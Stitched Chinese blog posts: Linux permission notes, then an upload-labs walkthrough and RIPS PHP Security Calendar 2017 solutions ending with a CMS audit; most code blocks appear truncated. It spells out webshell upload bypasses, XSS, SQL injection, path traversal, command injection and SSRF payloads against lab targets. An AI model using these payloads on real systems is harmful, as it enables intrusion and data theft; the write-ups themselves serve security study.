1 | root@ubuntu:/tmp# mkdir test |
1 | root@ubuntu:/tmp# rmdir test |
1 | ls -a 显示全部文件,包括隐藏文件 |
1 | root@ubuntu:~# cp .bashrc /tmp/test/bashrc |
1 | root@ubuntu:/tmp# ls -dl test* |
1 | root@ubuntu:/tmp# rm test2 |
1 | root@ubuntu:~/tmp# mkdir mvtest |
1 | root@ubuntu:~# basename /etc/sysconfig/network |
1 | root@ubuntu:~# cat /etc/passwd #从第一行开始显示文件内容 |
cat命令是将文件内容一次性显示出来,没有一页一页翻动的功能,而more和less命令具有一页一页翻动的功能
在more命令按以下键的功能:
1 | 空格键(space):代表向下翻一页 |
在less命令按以下键的功能:
1 | 空格键:向下翻动一页 |
head命令能取出一个文件的前几行,tail则是取出文件的后几行
1 | head [-n number] 文件 |
1 | od [-t TYPE] 文件 |
1 | touch 文件名 |
当我们建立一个新的文件或目录时,它的默认权限与umask有关,它指定了目前用户在建立文件或目录时候的权限默认值,得知umask的方法:
1 | root@ubuntu:~/tmp# umask |
查看的方式有两种,一种可以直接输入umask,就可以看到数字类型的权限设置值,另一种则是加入-S这个选项,就会以符号类型的方式来显示出权限了
但是要注意的是,这里umask的值并不直接是文件或目录的默认权限值,它规定的是是默认值需要减掉的权限,文件的默认权限值为:-rw-rw-rw-,即666;目录的默认权限值为drwxrwxrwx,即777,再减去umask指定的值,那么
1 | 建立文件时:(-rw-rw-rw-) - (-----w--w-) ==> -rw-r--r-- |
测试一下:
1 | root@ubuntu:~/tmp# touch test1 |
修改umask值的方式如下:
1 | root@ubuntu:~/tmp# umask 002 |
1 | A :当设定了 A 这个属性时,若你有存取此档案(或目录)时,他的访问时间 atime |
1 | chattr [+-=][ASacdistu] 档案或目录名称 |
1 | root@ubuntu:~/tmp# chattr +i test3 |
由于对文件test3附加了i的隐藏属性,所以无法删除
1 | lsattr [-adR] 档案或目录 |
1 | root@ubuntu:~/tmp# lsattr test3 |
1 | root@ubuntu:~/tmp# file ~/.bashrc |
1 | which [-a] command |
可以发现有的命令是找不到的,因为which是默认找PATH内所规范的路径,去查找执行文件的文件名
whereis由一些特定的目录查找文件
1 | whereis [-bmsu] 文件或目录名 |
locate是在已建立的数据库/var/lib/mlocate里面的数据所查找到的,不用再去硬盘当中读取数据,所以较为快速,数据库默认一天更新一次,如果要手动更新数据库,需要输入updatedb命令
1 | locate [-ir] keyword |
find
1 | root@ubuntu:~/tmp# find /var -mtime +4 #+4代表大于等于5天前的文件 |
即用户,通常分为root和一般身份的用户,所有用户的相关信息都记录在/etc/passwd这个文件内,用户的密码则是记录在etc/shadow文件中
用户组中有若干用户,组名记录在/etc/group文件中
使用ls -al命令查看当前目录下的所有文件(包括以.开头的隐藏文件)和目录及其相关属性与权限
1 | root@ubuntu:~# ls -al |
以.config文件为例说明:
1 | drwx------ 6 root root 4096 Apr 8 2018 .config |
信息分为7栏,每栏的意义如下:
1 | [1]:文件类型权限 |
共有十个字符
第一个字符代表这个文件是目录,文件或链接文件等
[d]代表目录,[-]代表文件,[l]表示链接文件
接下来的字符,以三个为一组,且均为[rwx]的三个参数的组合,其中[r]代表可读(read),[w]代表可写(write),[x]代表可执行(execute),如果没有权限则会出现减号[-]。第一组代表文件拥有者可具备的权限,第二组代表加入此用户组之账号的权限,第三组代表非本人且没有加入本用户组的其他账号的权限
十个字符整理如下:
1 | -rwxr-xr-- |
意义是这是一个文件,文件拥有者具有可读,可写和可执行的权限。同用户组的用户具有可读和可执行的权限,其他用户具有只读的权限
每个文件都会讲它的权限与属性记录到文件系统的inode中,这个属性记录的就是有多少不同的文件名链接到同一个inode中
在Linux系统中,你的账号会加入一个或多个用户组中,假如用户组具有可读可写权限,则该用户组中的每个用户都具有可读可写权限
默认单位为Bytes
chgrp:修改文件所属用户组
chown:修改文件拥有者
chmod:修改文件权限
使用chgrp命令,前提是修改的用户组必须在/etc/group文件中存在才行,命令格式如下:
1 | root@ubuntu:~# chgrp groupname dirname/filename |
使用chown命令,前提修改的用户必须在/etc/passwd文件中存在才行,命令格式如下:
1 | root@ubuntu:~# chown 账号名称 文件或目录 |
使用chmod命令,设置方法有两种,分别可以用数字或是符号来进行权限的修改
各权限的数字对照表如下:
1 | r:4 |
每种身份(owner,group,others)各自的三个权限(r,m,x)数字是需要累加的,例如当权限为:[-rwxrwx---]数字则是:
1 | owner = rwx = 4+2+1 = 7 |
所以我们设置权限时,该文件的权限数字就是770,chmod语法如下:
1 | root@ubuntu:~# chmod xyz 文件或目录 |
格式如下:
1 | root@ubuntu:~# chmod 身份 权限操作 权限 文件或目录 |
参数具体为:
(1)身份:u即user,g即用户组,o即其他人,a代表全部身份
(2)权限操作:+即加入,-即移除,=即设置
(3)权限:rmx
例子如下:
1 | root@ubuntu:~# chmod u=rwx,go=rx .config |
r(read):可读取此文件的实际内容
w(write):可以编辑,新增或是修改该文件的内容(但不含删除该文件)
x(execute):该文件具有可以被系统执行的权限
r(read):表示具有读取目录结构列表的权限,如使用ls命令将该目录的内容列表显示出来
w(write):具有改动该目录结构列表的权限
x(execute):用户具有进入该目录的权限,如使用cd命令进入某个目录列表
]]>直接上传php文件,出现弹框提示上传失败
尝试抓包,但是因为弹框未抓到上传文件的包,所以猜测是前端JS代码对文件进行了检测,直接查看网页源代码,发现检测JS代码如下:
1 | <script type="text/javascript"> |
代码大致流程是对比文件名的最后一个后缀是否是jpg,png,gif,如果不是则前端拦截文件,上传失败。
既然是前端进行,我们只要绕过前端,再利用抓包修改文件名后缀,即可成功上传PHP文件。我们先上传一个后缀名为JPG,内容为PHP代码的文件1cmd.jpg,再通过抓包修改文件名为1cmd.php,过程如下图所示
直接上传PHP文件,提示文件类型错误,猜测后台代码对文件类型进行了检测,抓包修改文件类型为image/jpeg,如下图所示
本关检测代码如下:
1 | if (isset($_POST['submit'])) { |
上传PHP文件,提示禁止不允许上传.asp,.aspx,.php,.jsp后缀文件 ,尝试修改文件名为.jpg.php,修改文件类型,大写PHP,都失败,猜测后台代码将文件名的最后一个”.”后作为检测目标。后台过滤代码如下:
1 | if (isset($_POST['submit'])) { |
过滤了后缀名为.asp,.aspx,.php,.jsp的文件,但是没有过滤phtml文件
上传成功http://127.0.0.1/upload-labs/upload/201903031949124726.phtml
另外修改后缀名为php3也可以
上传php,phtml,php3等文件都失败,过滤代码如下:
1 | if (isset($_POST['submit'])) { |
黑名单几乎过滤掉了所有问题后缀名,但是唯独没有过滤.htaccess文件,我们上传一个.htaccess文件,内容为:
1 | SetHandler application/x-httpd-php |
上传之后,该路径下所有文件都会被解析成PHP格式文件,我们再上传包含PHP代码的图片文件
访问http://127.0.0.1/upload-labs/upload/4cmd.jpg
跟上一关区别的是黑名单又增加了.htaccess文件,过滤代码如下:
1 | if (file_exists(UPLOAD_PATH)) { |
但是仔细观察发现这关并没有将上传文件的后缀名通过strtolower进行大小写转化的处理,所以很简单,上传一个.PHP文件即可
1 | if (file_exists(UPLOAD_PATH)) { |
黑名单一样,并对文件名进行小写转化处理,但是未对文件名通过trim函数进行去空处理,所以对后缀名进行加空,即可上传成功
1 | if (file_exists(UPLOAD_PATH)) { |
黑名单相同,对文件名进行去空和小写转换处理,但是没有通过自定义的deldot函数进行末尾去点处理,所以上传后缀名为.php.文件,windows特性上传后会自动将后缀名的点去掉
1 | if (file_exists(UPLOAD_PATH)) { |
这关没有通过str_ireplace函数去除字符串::$DATA,在文件名后缀加上::$DATA即可绕过
1 | if (file_exists(UPLOAD_PATH)) { |
相对于前面几关而言,这关过滤的较为完善,可以看到,过滤的流程为:(1)文件名去空(2)文件名去点(3)截取最后一个点后的字符串(4)将截取的文件后缀转换为小写(4)将截取的文件名后缀去除字符串::$DATA(5)将截取的文件名后缀去空
我们可以看一下deldot函数的具体代码:
1 | function deldot($s){ |
可以发现,检测流程是从文件名的最后一位开始检测,是点就去掉末位,继续向前检测,只要检测到文件名最后一位不是点,就返回过滤后的文件名,而且去点只有一次
针对上述过滤流程,我们可以构造后缀名为.php. .(点+空格+点),经过去点过滤后的文件名为.php. (点+空格),之后截取文件名后缀自然就绕过检测,上传的文件名最后后缀为.php.(点)
1 | if (isset($_POST['submit'])) { |
这关是将上传文件的文件名通过str_ireplace函数去除黑名单中的文件后缀,但是这个函数的缺点是只能去除一次,所以双写就能绕过,上传文件名后缀为.pphphp
1 | if(isset($_POST['submit'])){ |
这关开始采用了白名单的形式,要求上传文件名后缀名必须为jpg,png,gif,但是我们可以发现上传文件的路径是通过GET方式传递的参数save_path进行拼接的,所以在save_path末尾利用%00截断绕过
1 | if(isset($_POST['submit'])){ |
这关拼接的参数save_path是通过POST方式传递的,同样抓包修改save_path,但是因为POST不像GET能URL解码%00,所以我们需要在二进制中修改
1 | function getReailFileType($filename){ |
通过读取文件的前两个字节来判断文件类型,本关的目的是上传图片马,所以利用copy命令将图片文件和php文件进行合并成图片马文件,命令如下:
1 | copy 1.jpg/b + 13cmd.php/a 13cmd.jpg |
最后通过带有文件包含漏洞的文件检测图片马
1 | function isImage($filename){ |
利用getimagesize函数获取文件类型是否是图片文件,跟上一关一样,可以用copy命令生成图片马,也可以在文件内容的开头加入GIF89A伪装成GIF文件
1 | function isImage($filename){ |
同样利用copy命令生成图片马或者在文件内容开头加入GIF89A即可上传图片马
1 | else if(($fileext == "gif") && ($filetype=="image/gif")){ |
这关规定了文件的后缀名必须是jpg,png或gif,文件类型Content-Type必须为image/jpeg,image/png或image/gif,而且上传后还经过imagecreatefromgif函数进行图片二次渲染的过程,我们可以先试着上传一个利用copy命令生成的图片马
可以看到成功上传,接下来访问上传的图片马
可以看出上传的图片马末尾的PHP代码经过二次渲染后发生了变化
二次渲染后的图片是会有部分内容不会发生变化的,我们可以试着上传一张完整的GIF图片,对比上传后的图片与原来的图片
我们可以发现开头部分内容前后是没有变化的,那么我们就在开头部分直接添加PHP代码再上传
成功上传,再利用文件包含漏洞访问一下上传的图片马
这个方法只适合gif图片,如果是png和jpg方法较为麻烦,具体可以参考https://xz.aliyun.com/t/2657
1 | if(isset($_POST['submit'])){ |
这关先经过move_uploaded_file函数进行文件上传,再利用白名单过滤文件,如果不是图片文件再通过unlink函数将文件删除,我们可以利用条件竞争的原理,利用多线程不断上传php文件,再后台还未来得及通过unlink函数删除php文件时,访问到webshell
发包的同时在浏览器不断访问17cmd.php文件
1 | if (isset($_POST['submit'])) |
这关同样使用了白名单的形式规定了合法的后缀名,上传后再通过rename函数重命名。我们可以观察这关的白名单中存在压缩包的后缀名
1 | var $cls_arr_ext_accepted = array( |
那么跟上一关一样,我们可以利用条件竞争,通过多线程发送上传后缀名为.php.7z的文件的包,当服务器还未来得及将文件改名时访问上传的webshell
可以看到有的响应包的提示是文件还来不及被重命名
在浏览器中访问18cmd.php.7z
成功访问webshell
1 | if (isset($_POST['submit'])) { |
这关以一个POST方式传递的参数save_name作为上传文件保存的文件名,同时通过pathinfo函数对文件名的后缀名进行黑名单检测,但是我们可以发现,并没有对该参数进行一系列过滤处理(去点,去空,去::$DATA字符串,大小写转化)
我们先测试一下pathinfo函数:
1 | echo pathinfo("cmd.php",PATHINFO_EXTENSION); #php |
通过测试说明,一系列之前关卡的绕过方法都是可以的
1 | if(!empty($_FILES['upload_file'])){ |
这关首先检查了上传的文件类型,然后将POST方式传递的参数save_name(如果为空,则上传的文件名)作为文件名变量$file,对$file进行了是否是数组的判断,如果不是数组则以“.”为分界符打散成数组,并取出数组最后一个元素(通过end函数)作为文件名后缀进行白名单的检测,通过检测的话就取出数组的第一个元素(通过reset函数)与$file[count($file) - 1]拼接成最终的文件名上传
如果变量$file作为字符串,则我们只能上传图片马,但如果作为数组,则不需要经过explode函数的处理,那么我们就考虑对$file数组赋值如下:
1 | $file = array(); |
那么被检测的后缀名变量$ext和最后上传的文件名变量$file_name的值如下:
1 | $ext = end($file) == "jpg" |
上传的payload如下图所示
还可以考虑通过利用%00截断函数move_uploaded_file,对$file数组赋值如下:
1 | $file = array(); |
上传的payload如下图所示
文件上传的检查主要分为两大部分:客户端检查和服务器端检查
客户端主要是通过前端的JS代码进行检查,如果只是单纯的前端检查,我们只需要按照前端的检查标准发送请求包,再通过抓包修改请求包的内容,如第一关,抓包修改一下文件名后缀再提交即可成功上传webshell
服务器端则是通过后台脚本代码(本靶场为PHP)进行检查,检查主要分为三部分:检查Content-type,检查后缀名,检查文件内容
抓包修改Content-type字段为合法内容即可
检查后缀名分为黑名单检测和白名单检测
列举出一系列禁止上传的文件后缀名进行过滤,常用的绕过方法有以下几种:
(1)上传特殊可解析后缀:如phtml,php3,php5,pht
(2)上传.htaccess文件:内容为SetHandler application/x-httpd-php ,上传的所有文件都会被当做php文件进行解析,前提是需要服务器相关配置开启
(3)大小写绕过:在Linux没有特殊配置的情况下,这种情况只有win可以,因为win会忽略大小写,例如Pass-05中未使用strtolower函数进行小写转化处理,那么将后缀名改成PHP即可上传成功
(4)空格,点绕过:Win下xx.php[空格] 或xx.php.这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点 ,例如Pass-06和Pass-07未使用trim函数或者自定义的deldot函数进行去空和去点处理,就可以利用该方法进行绕过上传
(5)::$DATA绕过:NTFS文件系统包括对备用数据流的支持。这不是众所周知的功能,主要包括提供与Macintosh文件系统中的文件的兼容性。备用数据流允许文件包含多个数据流。每个文件至少有一个数据流。在Windows中,此默认数据流称为:$ DATA,例如Pass-08中,未使用str_ireplace函数去除::$DATA,那么上传后缀名为.php::$DATA即可上传
(6)双写后缀名绕过:当服务器利用函数(如Pass-10中使用str_ireplace函数)将敏感的后缀名替换为空时,双写后缀名,如.pphphp即可绕过
(7)上传.7z压缩包绕过:.7z是一种压缩包文件的格式,我们上传cmd.php.7z文件,再访问该文件时能够正常访问到php页面,这属于Apache解析漏洞,Apache解析文件时,如果后缀名不认识,则会继续想前解析,会解析到php,这就是Apache的解析漏洞
列举出只允许上传的文件后缀名,过滤掉不属于白名单中的文件,常用的绕过方法有以下几种:
(1)MIME绕过:检查http包的Content-type字段来判断文件类型,直接修改该字段值即可
(2)%00截断:利用%00截断move_uploaded_file函数,只解析%00前的字符,%00后的字符不解析,通常运用在GET方式,因为GET方式传入能自动进行URL解码,如Pass-11
(3)0x00截断:原理同%00截断,只不过是通过POST方式传递参数,需要通过Burp在十六进制形式中修改
通过一些检查文件内容的函数进行判断是否是图片格式的文件,可以大致分为对文件头检查,getimagesize函数检查,exif_imagetype函数检查和二次渲染,通常我们只能够上传图片马,常用的绕过方法有以下几种:
(1)利用copy命令生成图片马:命令具体为copy 1.jpg/b + cmd.php/a shell.jpg,生成图片马后上传成功,但是同时还得存在文件包含漏洞才能执行图片马
(2)利用GIF89A伪造成GIF文件:在PHP文件开头内容加入GIF89A,服务器通过getimagesize会认为这是GIF文件
(3)绕过二次渲染:上传PNG和JPG图片马方法较为复杂,但是GIF图片马只需要找到上传前后两个文件经过二次渲染未改变内容的地方,并在其中添加PHP代码即可
这一类属于比较特别的,根据服务器端代码执行的逻辑通过条件竞争上传黑名单文件,条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生 。
以Pass-17为例,程序先进行文件上传后再判断文件是否合法,不合法再进行删除,如果利用多线程持续发送上传PHP文件的请求包,并不断访问上传的文件,服务器会来不及将不合法文件删除,我们也能因此而成功执行PHP文件代码
最后,再附上一张别人的总结图
题目原地址: PHP Security Advent Calendar 2017 - https://www.ripstech.com/php-security-calendar-2017/
RIPSTECH PRESENTS PHP SECURITY CALENDAR 是由 RIPS 团队出品的PHP代码安全审计挑战系列题目,RIPSTECH PRESENTS PHP SECURITY CALENDAR 2017 共包含24道题目(Day 1 ~ 24),每道题目将包含一个较新颖的知识点供大家学习。
实验环境源码:https://github.com/vulnspy/ripstech-php-security-calendar-2017
参考题解:http://www.vulnspy.com/cn-ripstech-presents-php-security-calendar-2017/
1 |
|
代码大致流程是构建了一个Challenge类,类中定义一个常量UPLOAD_DIRECTORY,用于定义上传文件存储的具体位置,并定义了两个魔术方法:
1 | __construct() - 在每次创建新对象时先调用此方法 |
__construct方法中对类中两个私有变量进行赋值,__destruct方法对上传的文件名进行了检查操作,检查文件名是否为整数,范围为1-24,问题就出在这个in_array方法,我们知道in_array方法的第三个参数默认是false,因此会进行弱类型比较,即将上传的文件名自动转化为整形与整数1-24进行比较。这就导致我们可以将恶意文件上传至服务器,只要文件名为数字1-24开头的文件,都可以上传至服务器。
新创建一个测试文件demo1.php,代码如下:
1 | <!DOCTYPE html> |
上传文件名1demo.php的一句话木马文件
成功上传
本关漏洞主要就在于in_array方法的第三个参数未设置,如果设置为true,则会检查搜索的数据与数组的值的类型是否相同,所以修正该漏洞的方法就是将第三个参数设置为true,如下:
1 | in_array($this->file['name'], $this->whitelist,true) |
修改以后再尝试1demo.php文件,上传失败
1 |
|
这关涉及了PHP的Twig模板语言,起到了渲染的作用。我们不需要过多的关注这个模板,我们需要关注的是我们可以控制的变量是$nextSlide,这个变量经过了一个函数filter_var的处理,这个函数的作用是根据指定过滤器的ID号对传入的参数进行过滤,这里过滤器ID号为FILTER_VALIDATE_URL,所以整个函数的作用是检查变量$nextSlide是否是一个合法的URL,我们可以写一个测试文件测试一下具体的检测流程:
1 |
|
经过测试发现具体只是检测变量中是否存在“://“
过滤的URL再经过Twig的escape过滤后再渲染,查阅Twig的官方文档
1 | Internally, ``escape`` uses the PHP native `htmlspecialchars`_ function for the HTML escaping strategy. |
escape的过滤规则和htmlspecialchars函数过滤规则相同,会将单引号和双引号进行编码
经过这两个过滤后的URL会在页面中显示,见第9-11行:
1 | $indexTemplate = '<img ' . |
那么这关就存在XSS漏洞,我们知道在javascript中“//“是表示注释,“%250a”和”%0a”在浏览器中表示换行,那么我们就可以构造一下payload:
1 | ?nextSlide=javascript://comment%250aalert(/xss/) |
因为“//“表示注释,所以comment被注释,换行后执行alert(/xss/),即执行:
1 | javascript://comment |
执行效果如下图所示
成功进行XSS注入攻击
1 |
|
这关涉及到了PHP的魔术方法__autoload,用于自动加载类,当一个类被实例化时,会自动调用该方法,方法中使用include进行调用实例化类的文件,常用于节约include方法的使用。
当然,还有许多函数方法被调用时也会自动调用__autoload方法,如第9行中的class_exists方法,它用来判断类名是否存在,除此之外还有以下方法也会自动调用__autoload方法:
1 | call_user_func() |
仔细观察class_exists()方法传入的参数是通过GET方式传入,可控,传入的参数即调用的文件名,这就造成了任意文件包含漏洞
输入?c=./demo2.php
1 |
|
这题目的是为了进行XML注入,对于<?xml version="1.0"?><user v="%s"/><pass v="%s"/>就必须要进行闭合标签的处理,而条件(!strpos($user, '<') || !strpos($user, '>')) &&(!strpos($pass, '<') || !strpos($pass, '>'))本意是不允许我们对变量$user和变量$pass同时输入<>,但是我们知道strpos函数搜索不到目标时返回的是false,当找到目标在第一位时返回的是0,根据PHP弱类型比较,0和false是相等的
1 | var_dump(strpos("abcd","a")); # 0 |
所以我们传入的$user和$pass第一位是<或者>即可绕过过滤,payload如下:
1 | username=<"><injected-tag%20property="&password=<"><injected-tag%20property=" |
最终传入$this->login($xmlElement)的$xmlElement值是<xml><user="<"><injected-tag property=""/><pass="<"><injected-tag property=""/></xml> 就可以注入了
1 |
|
这题可以利用的函数有file_put_contents和unlink,但是file_put_contents函数的参数$token经过md5加密,不好利用,在观察unlink函数,参数$token经过preg_replace函数进行正则匹配过滤,过滤的规则是"/[^a-z.-_]/",本意应该是除了a-z 和 . 和 - 和 _的字符都被替换为空,但是这里的-是没有被转义的,在[]中-是表示范围的意思,所以这里过滤的应该是除了ascii46-95 , 97-122的字符。也就是说.和/字符都不会被过滤,那么我们就可以利用路径穿越进行任意文件删除
payload如下:
1 | ?action=delete&data=../../demo2.php |
1 |
|
这关考察的通过parse_url和parse_str函数导致的变量覆盖
1 | $var = parse_url("https://127.0.0.1/?a=1&b=2"); |
parse_url中的参数来自HTTP请求头部的Referer字段,是可控的,那么我们就可以控制getUser类中的$config和$db来在我们自己构造的数据库中进行查询
payload如下:
1 | http://127.0.0.1/html/day7.php?config[dbhost]=127.0.0.1&config[dbuser]=root&config[dbpass]=root&config[dbname]=security&id=1 |
1 |
|
考察的是preg_replace/e函数导致的命令执行漏洞,我之前的文章(代码审计-通过preg_replace函数深入命令执行)有详细写到过这题
主要思路就是通过GET方式传入的变量名作为正则匹配条件,将匹配的值value传递到strtolower函数中进行命令执行,"\\1"即为第一个匹配到的字符串。
Payload如下:
1 | ?\S*={${phpinfo()}} |
\S代表除空白符以外的所有字符,控制$value所有字符都会被匹配到,{${phpinfo()}}则涉及到PHP双引号下的变量会被解析和PHP可变变量
1 |
|
考察的是任意文件包含漏洞,参数$_SERVER['HTTP_ACCEPT_LANGUAGE']可控,过滤函数str_replace只对../做一次过滤,双写即可绕过,Payload如下:
1 | Accept-Language: ..././..././demo.txt |
1 |
|
虽然看到了extract,但是这题考察的不是变量覆盖,我们可以看到goAway()函数中header重定向后并未使用die或者exit,这就导致了后面的代码依然会执行,所以我们直接POST变量pi=phpinfo,就会执行assert("(int)phpinfo() == 3"),在burp中能phpinfo的信息
1 |
|
本题的正则表达式应修改为'/O:\d:/'
看到unserialize就知道这题考察的是反序列化,对COOKIE中的变量data做了两个过滤处理
1 | substr($data, 0, 2) !== 'O:' |
php可反序列化类型有String,Integer,Boolean,Null,Array,Object。去除掉Object后,考虑采用数组中存储对象进行绕过。
第二个正则匹配过滤,就需要利用到PHP反处理的源码,具体参考php反序列unserialize的一个小特性 ,在对象前加一个+号,即O:14->O:+14,这样就可以绕过正则匹配。
获取序列化字符串的代码如下:
1 | class Template { |
获取payload如下:
1 | a:1:{i:0;O:+8:"Template":2:{s:9:"cacheFile";s:10:"./info.php";s:8:"template";s:16:"<?php phpinfo();";}} |
这样,就可以利用file_put_contents函数将PHP代码写入一个PHP文件中
1 |
|
看到结尾的响应标签内容就猜到这题考察的可能是XSS,这里过滤的点有两个函数:(1)intval(2)htmlentities
intval函数虽然过滤了$value,但是未过滤$key,我们通过$key进行XSS即可
htmlentities函数作用是将字符串转化为HTML实体,但是默认不对单引号进行转义,所以我们可以构造一下Payload:
1 | ?'onclick%3dalert('xss')//=1 |
利用的是a标签的onclick事件来进行XSS攻击
闭合后的标签为:
1 | "<a href='/images/size.php?'onclick=alert('xss')//=1'>link</a>" |
1 |
|
看到关键字user和passwd和SQL语句就很明白,这题考察的是通过SQL注入进行任意用户登录
过滤的地方在于sanitizeInput函数:
1 | public function sanitizeInput($input, $length = 20) { |
首先对我们输入的用户名和密码值通过addslashes函数进行了转义处理,然后经过substr函数截断前20位。因为有转义,我们如果输入反斜杠\,经过转义后会变成\\,这样就不能过滤掉SQL语句中的单引号。但是,设想一下,如果我们输入的字符足够长,并且第二十位放置的是单引号'或者反斜杠\,那么经过转义和截断,最后一位就一定会是一个反斜杠\,这就过滤了SQL语句中的单引号,造成SQL注入
Payload:
1 | ?user=1234567890123456789'&passwd= or 1=1# |
这样构成的SQL语句便是:
1 | SELECT COUNT(u) FROM User u WHERE u.user = '1234567890123456789\' AND u.password = ' or 1=1#' |
1 |
|
看到file_put_contents函数,猜测考察写入webshell,foreach函数存在变量覆盖:
1 | foreach ($input as $field => $count) { |
$this->$field = $count++;中的++是后增,不会影响,所以我们可以通过此函数覆盖变量$id,控制写入的文件名和位置:id=../../var/www/html/info.php
再观察写入的内容,经过两个函数get_object_vars和var_export的处理,先看看这两个函数的作用:
1 | get_object_vars — 返回由对象属性组成的关联数组 |
var_export与var_dump区别在于var_export输出的是合法的PHP代码,那么我们就可以写入合法的PHP代码
最终的Payload如下:
1 | ?id=../../var/www/html/info.php&a=<?php phpinfo(); ?> |
最终写入的内容是:
1 | array ( |
1 |
|
这题考察的是任意路径跳转,跳转的路径来源于$_SERVER['PHP_SELF'],这个全局变量含义是当前执行脚本在服务器下的路径,再通过explode函数将路径以/为分隔符分隔成一个数组,通过end函数将数组最后一个元素取出拼接上参数$params,再经过urldecode函数进行一次URL解码后作为重定向的url
假想我们要跳转到百度页面,访问http://127.0.0.1/html/day15.php/https://www.baidu.com?redirect=1,那么经过处理后的跳转的应该是Location: www.baidu.com,还是站内页面。我们要跳转到站外,就必须要加上http,所以,我们就可以利用题目中的一次URL解码加上本身浏览器对GET就有一次URL解码,对//进行二次URL编码,编码后为%25%32%66%25%32%66,那么payload就为:
1 | http://127.0.0.1/html/day15.php/https:%25%32%66%25%32%66www.baidu.com?redirect=1 |
最后跳转的为:
1 | Location: https://www.baidu.com? |
就成功跳转到百度页面
1 |
|
这题的漏洞在于$this->mode($_REQUEST['mode']);和==
首先,我们知道全局变量$_REQUEST[]是取值于$_GET,$_POST和$_COOKIE,即当三个全局变量一旦有赋值,$_REQUEST就被赋值,后面值不会再因为它们三个全局变量改变而改变,举个例子:
1 | $_GET = array_map('intval',$_GET); |
最后输出的是:
1 | array(1) { ["a"]=> int(1) } |
第二,==在PHP中是弱类型比较,即1 == '1a',所以最后的payload为:
1 | ?mode=1%0a%0dDELETE%20test.file |
就可以利用ftp协议来删除文件了
1 |
|
这题看起来是Day13的升级版,那题我们是利用addslashes和字符串截断进行\逃逸,从而进行SQL注入。这题对$pass进行了md5加密,但这里我们注意到md5函数中加入了参数true,我们可以测试一下:
1 | var_dump(md5(1)); |
输出的是:
1 | string(32) "c4ca4238a0b923820dcc509a6f75849b" |
看出加入true参数后与原来输出是有区别的,那么我们可以进行fuzz测试,看看有没有md5处理后最后一个字符为\
测试代码如下:
1 | for($i=1;$i++;){ |
结果为:
1 | $i = 128 $key = v�an���l���q��\ |
所以我们就可以构造payload:
1 | pass=128&user=' or 1=1# |
从而进行SQL注入
1 |
|
这题没怎么看懂,大致是利用openssl_verify遇到错误时会返回-1,而if语句只有判断为0和false才不会执行。
1 |
|
这题关键在于stripcslashes函数,它能返回反转义后的字符串。可识别类似 C 语言的 \n,\r,… 八进制以及十六进制的描述。
而下面的正则匹配过滤过滤掉除了0-9和反斜杠\,所以我们可以将我们要执行的命令转化为八进制,这样就可以构成任意命令执行的漏洞
例如执行sleep命令,将0;sleep 5;转化为八进制为0\073\163\154\145\145\160\0405\073
payload:
1 | ?size=0\073\163\154\145\145\160\0405\073 |
1 |
|
这关考察的是利用file_get_contents函数通过set_error_handler产生报错信息来产生SSRF,我们可以通过SSRF来检测内部服务是否开启,例如输入payload为:
1 | ?img=http://127.0.0.1:22 |
如果响应结果为:There was an error: file_get_contents(http://127.0.0.1:22): failed to open stream: HTTP request failed! SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2则说明存在SSH服务
如果检测一个不存在端口?img=http://127.0.0.1:30,则响应There was an error: file_get_contents(http://127.0.0.1:30): failed to open stream: Connection refused,说明服务不存在
1 |
|
这道题需要运行在php7的环境,开头的declare(strict_types=1);就是php7的一种新引入方式,作用是在函数调用时会对参数进行类型检查,举个例子:
1 | declare(strict_types=1); |
所以这就保证了最后通过$validate函数的$value都是数字且都大于0,但是这题漏洞在于array_walk这个函数,它不会对传入的参数做类型检查,也就是说它还是会按照php本身弱类型语言的特性对传入的参数做类型转化
例子如下:
1 | declare(strict_types=1); |
所以,我们很容易就能够进行任意命令执行,payload如下:
1 | ?p[1]=1;touch info.php |
这样就能向当前目录写入webshell
1 |
|
这题考察的就是PHP会将0e开头的值以科学计数法进行处理,例如0e123 == 0e321
这里cookie字段我们是可控的,所以我们只需要找到一个经过md5加密后开头是0e的值即可
payload:
1 | Cookie: hash=QNKCDZO |
该CMS的核心分析页面是在/dapur/index.php中,这是一个管理员的后台管理页面,首先需要以管理的身份进行登录,登录后,我们可以发现,访问其中很多具体管理页面,都是通过GET方式向服务器提交参数,如添加用户功能,提交的是app参数和act参数,那么我们在Seay审计系统中通过全局搜索功能搜索关键参数app,观察是哪个具体的文件接收了这个参数
可以看出,/dapur/system/apps.php文件接收了app参数,于是跟进该文件
1 | if(!empty($app)){ |
当接收到app参数时,做出判断apps/app_$app/app_$app.php文件是否存在,如果存在定义两个方法:sysAdminApps()和loadAdminApps(),其中又调用了baseSystem()和baseApps()方法,我们继续搜索这两个方法的出处
1 | function baseApps($file){ |
可以这两个方法发现包含了两个关键性文件,所以,管理界面每个功能都包含了两个关键文件,例如添加用户功能($app=user),那么就有两个关键文件:apps/app_user/app_user.php和apps/app_user/sys_user.php需要我们去关注
/dapur/apps/app_config/controller/backuper.php 第16-30行
1 | if($_POST['type'] == 'database') { |
其实这个文件存在非常多这个问题,通过POST传递的参数file没有经过任何处理就拼接进unlink函数进行文件删除操作
在网站根目录下建立demo.php文件
攻击payload如下:
1 | POST /dapur/apps/app_config/controller/backuper.php HTTP/1.1 |
demo.php被删除
/system/database.php 第210-233行
1 | public function update($table,$rows,$where) |
可以看到这里update语句中的where条件是通过直接拼接参数$where而成的,猜测可能通过$where参数构成sql注入,我们随便找一个带有update方法的实例,如/dapur/apps/app_user/controller.php
1 | if(isset($_GET['stat'])) { |
我们可以通过GET方式构造id参数构成SQL注入攻击
payload如下:
1 | GET /dapur/apps/app_user/controller/status.php?stat=1&id=1%20and%20if(ascii(substr(database(),1,1))=102,sleep(3),1) HTTP/1.1 |
成功造成延时注入
当然,delete方法也同样存在这个问题,就不赘述了
/dapur/apps/app_theme/libs/check_file.php 第13-26行
1 | $file = $url= "$_GET[src]/$_GET[name]"; |
审计可知,当$file后缀名为指定文件后缀时,通过file_get_contents函数进行文件读取功能,而参数$furl是通过GET方式传入的参数src和name拼接而成的,这就构成了任意文件读取漏洞
Payload如下:
1 | GET /dapur/apps/app_theme/libs/check_file.php?src=..&name=config.php HTTP/1.1 |
读取的是网站根目录下的config.php文件,结果如下图所示
/dapur/apps/app_theme/libs/save_file.php 第23-27行
1 | $c = $_POST["content"]; |
